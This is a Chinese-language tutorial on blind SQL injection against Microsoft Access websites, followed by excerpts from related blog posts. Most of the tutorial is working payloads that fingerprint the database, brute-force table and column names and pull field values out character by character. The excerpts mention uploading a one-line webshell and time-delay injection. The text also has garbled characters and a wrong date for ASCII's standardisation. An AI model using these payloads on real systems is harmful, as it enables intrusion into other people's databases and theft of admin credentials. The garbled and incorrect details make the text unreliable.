注入access時,不能和mysql一樣可以把表名爆出,只能乙個乙個去猜。
1.找到**後,檢視是否為access資料庫。
構造payload url+ and exists (select id from mysysaccessobjects) 返回正確,則為access資料庫。
and (select count(*) from msysobjects)>0 –返回許可權不足為access資料庫
and (select count(*) from sysobjects)>0 –返回正常則為mssql資料庫
想法設法讓他報錯,錯誤資訊中包含資料庫資訊。
2.進行and 1=1(顯示正常) 與and1=2(報錯)確實是注入點。
3.url +and 0<=(select count(*) from admin) and 1<2 檢視返回結果,發現出錯。說明沒有admin這個表。 (使用參見的表名進行猜測) and (select count(*) from admin) 即可
4.url + and 0<=(select count(*) from manage) and 1<2 檢視返貨結果,反正正確頁面。說明資料庫中含有manage這個表。 and (select count(*) from manage) 即可
乙個乙個去嘗試看看別的表名是什麼。
5.確定manage這個表的存在,然後接下來判斷表內有多少條記錄數
payload:and (select count(*) from 猜到的表名)>x
(x是個數字,>我們也可以替換為=或
嘗試: and (select count(*) from manage)>0 看是否返回正確頁面。正確說明有 >0的記錄數。然後繼續修改x 確定有多少條記錄數。 這裡測試後只有一條記錄。
6.知道manage 表中只有乙個記錄也就是只有乙個列。然後猜測列名。
payload : (select count(username) from manage) 猜測manage表中是否有username這個列。 然後把username 換成一些常用的password id等等去測試。
7.知道列名後,然後猜測字段長度。
payload:使用語句and (select top 1 len(列) from 表)>x,`select top 1`是查詢第一條資料的意思。(查詢第二條字段長度必須先把第一條的字段值判斷出來)
payload:and (select top 1 len(username) from manage)>4 返回正確頁面,說明第乙個字段大於4
payload:and (select top 1 len(username) from manage)>5 返回錯誤頁面,說明第乙個字段小於5 。結合說明第乙個字段長度為5
8.判斷字段值
payload:and (select top 1 asc(mid(欄位名,x,1)) from 表名)>n,這個句子裡的n和x都是數字。top 1還是是查詢第一條資料的意思。
asc()這個函式是用來得到()裡的字串的 ascii碼(什麼是ascii碼呢?計算機內部採用二進位制的方式計數,那麼它為什麼又能識別十進位制數和各種字元、圖形呢?
其實,不論是數值資料還是文字、圖形等,在計算機內部都採用了一種編碼標準。通過編碼標準可以把它轉換成二進位制數來進行處理,計算機將這些資訊處理完畢再轉換成可視的資訊顯示出來。常用的字元**是 ascii碼,它原來是美國的國家標準,
2023年被定為國際標準。),比如a所對應的ascii碼就是97。
mid(欄位名,a, n),這個函式是用來擷取()裡的字段從第a個長度起往後擷取n個字,比如mid(username,2,3)就表示從username欄位中從第二個字元向後擷取3位,包括第二個字元,比如值為admin,擷取的就是dmi。我們上面使用mid(欄位名,x,1),
最後面那個數字是1,但前面還有個asc()函式,asc()這個函式一下就只把乙個字元轉換成ascii碼,所以我們用mid()函式來擷取列值的時候只擷取一位。
構造payload: and (select top 1 asc(mid(username,1,1)) from manage)>96 頁面返回正常頁面 說明username列中的第乙個字段往後的一位大於 96**碼之後)
and (select top 1 asc(mid(username,1,1)) from manage)>97 頁面返回錯誤頁面,說明username列中的第一字段往後的一位不大於97**碼之後)。說明是97 ascii轉碼之後是a
然後在構造payload :and (select top 1 asc(mid(username,2,1)) from manage)>97 繼續猜測第二個字段。使用這個方法繼續猜測之後的字段。能把所有的字段都爆出來。
9. 有時候,我們會碰到漢字的資料,比如username中資料就是「管理員」,這時就不能使用ascii碼了
10.用逐字猜解列值的方 法,有的時候是 >0 頁面還是返回錯誤!不大於0就說晚這個值的ascii碼是負數,也就是漢字!這個時候我們要想得到它的ascii碼,就要用到乙個函式了!abs()這個 函式是用來返回乙個值的絕對值的!我們只要把這個函式加在句子裡,就可以按照平常的方法猜ascii碼了。具體是這麼加的:and (select top 1 abs(asc(mid(列,x,1))) from admin)>n
就是這樣了,不過等猜出來後不要忘了加負號。
11.聯合查詢也可以嘗試猜測。
SQL注入實戰 防注入 Access
這道題目算是給了sql注入另外的思路了。一般而言我們測試sql注入會選擇那些有直接顯示的地方 比如id 1,name 但這會侷限你的思維,所以一定要多多培養做題的思路才能應對各種情況。下面會給出不一樣的思路 1.這是墨者學院一道有waf的sql注入,有很多人遇到有waf的環境就感覺頭大,確實繞waf...
攻防實戰 CTF大賽準備(手動注入sql)
一 iis write漏洞利用 先用工具掃瞄,再上傳小馬,使用菜刀連線即可。思考點 如何獲知是一台iis站點?本例中上傳的一句話木馬是什麼意思?eval request mh 二 tomcat伺服器漏洞利用 先用nmap掃瞄埠開放資訊。然後利用metasploit或者apache tomcat.ex...
ACCESS延時注入
這也算是個新知識吧。今天遇到個站,實實在在存在注入,但是弄不出欄位。本應該可以用便宜注入。但是不知道為什麼就是就是弄不出來.payload select count from msysaccessobjects as t1,msysaccessobjects as t2,msysaccessobje...